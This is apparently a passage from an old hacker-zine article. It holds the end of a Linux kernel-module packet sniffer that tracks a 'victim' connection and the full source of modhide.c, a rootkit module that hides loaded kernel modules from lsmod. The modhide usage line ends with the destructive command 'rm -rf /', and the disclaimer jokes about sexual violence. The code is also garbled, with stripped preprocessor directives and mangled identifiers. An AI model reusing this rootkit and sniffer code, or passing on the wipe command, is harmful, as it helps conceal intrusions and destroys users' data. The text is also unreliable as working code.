/* trivial but useful functions below. Damn, I miss libc :) */ char *inntoa(_u32 in) { static char buff[18]; char *p;
p = (char *) ∈
sprintf(buff, "%d.%d.%d.%d",
(p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255));
return(buff);
}
void m_strncpy(char *dest, char *src, int size) { char *i, *p; p = dest; for(i = src; *i != 0; i++) { if (!size) break; size--;
*p = *i;
p++;
}
*p = '\0';
}
int m_strlen(char ptr) { int i = 0; while (ptr) { ptr++; i++; } return i; }
/* initmodule */ int initmodule(void) {
ifdef DEBUG
debug = TRUE;
else
debug = FALSE;
endif
in_c = out_c = thru_c = 0;
victim.saddr = 0;
victim.daddr = 0;
victim.sport = 0;
victim.dport = 0;
victim.active = FALSE;
victim.data = NULL;
if (dev) {
d = dev_get(dev);
if (!d) {
DBGPRN2("Did not find device %s!\n", dev);
DBGPRN1("Sniffing all known devices...");
}
else {
DBGPRN3("Sniffing device %s, ifindex: %i\n",
dev, d->ifindex);
sniff_proto.dev = d;
}
}
else
DBGPRN1("Sniffing all known devices...\n");
sniff_proto.type = htons(ETH_P_ALL);
/* this one just gets us incoming packets */
/* sniffproto.type = htons(ETHP_IP); */
sniff_proto.func = pkt_func;
dev_add_pack(&sniff_proto);
return(0);
}
void cleanupmodule(void) { devremovepack(&sniffproto); end_victim();
DBGPRN4("Statistics: [In: %i] [Out: %i] [Thru: %i]\n",
in_c, out_c, thru_c);
DBGPRN1("Sniffer Unloaded\n");
}
/* EOF / <--> <++> P55/Linux-lkm/modhide/modhide.c !c9a65c89 / * generic module hidder, for 2.2.x kernels. * * by kossak (kossak@hackers-pt.org || http://www.hackers-pt.org/kossak) * * This module hides the last module installed. With little mind work you can * put it to selectivly hide any module from the list. * * insmod'ing this module will allways return an error, something like device * or resource busy, or whatever, meaning the module will not stay installed. * Run lsmod and see if it done any good. If not, see below, and try until you * suceed. If you dont, then the machine has a weird compiler that I never seen. * It will suceed on 99% of all intel boxes running 2.2.x kernels. * * The module is expected not to crash when it gets the wrong register, but * then again, it could set fire to your machine, who knows... * * Idea shamelessly stolen from plaguez's itf, as seen on Phrack 52. * The thing about this on 2.2.x is that kernel module symbol information is * also referenced by this pointer, so this hides all of the stuff :) * * DISCLAIMER: If you use this for the wrong purposes, your skin will fall off, * you'll only have sex with ugly women, and you'll be raped in * jail by homicidal maniacs. * * Anyway, enjoy :) * * USAGE: gcc -c modhide.c ; insmod modhide.o ; lsmod ; rm -rf / */
define MODULE
define KERNEL
include
include
include
int init_module(void) {
/* * if at first you dont suceed, try: * %eax, %ebx, %ecx, %edx, %edi, %esi, %ebp, %esp * I cant make this automaticly, because I'll fuck up the registers If I do * any calculus here. */ register struct module *mp asm("%ebx");
if (mp->init == &init_module) /* is it the right register? */
if (mp->next) /* and is there any module besides this one? */
mp->next = mp->next->next; /* cool, lets hide it :) */
return -1; /* the end. simple heh? */
} /* EOF */ <--> ----[ EOF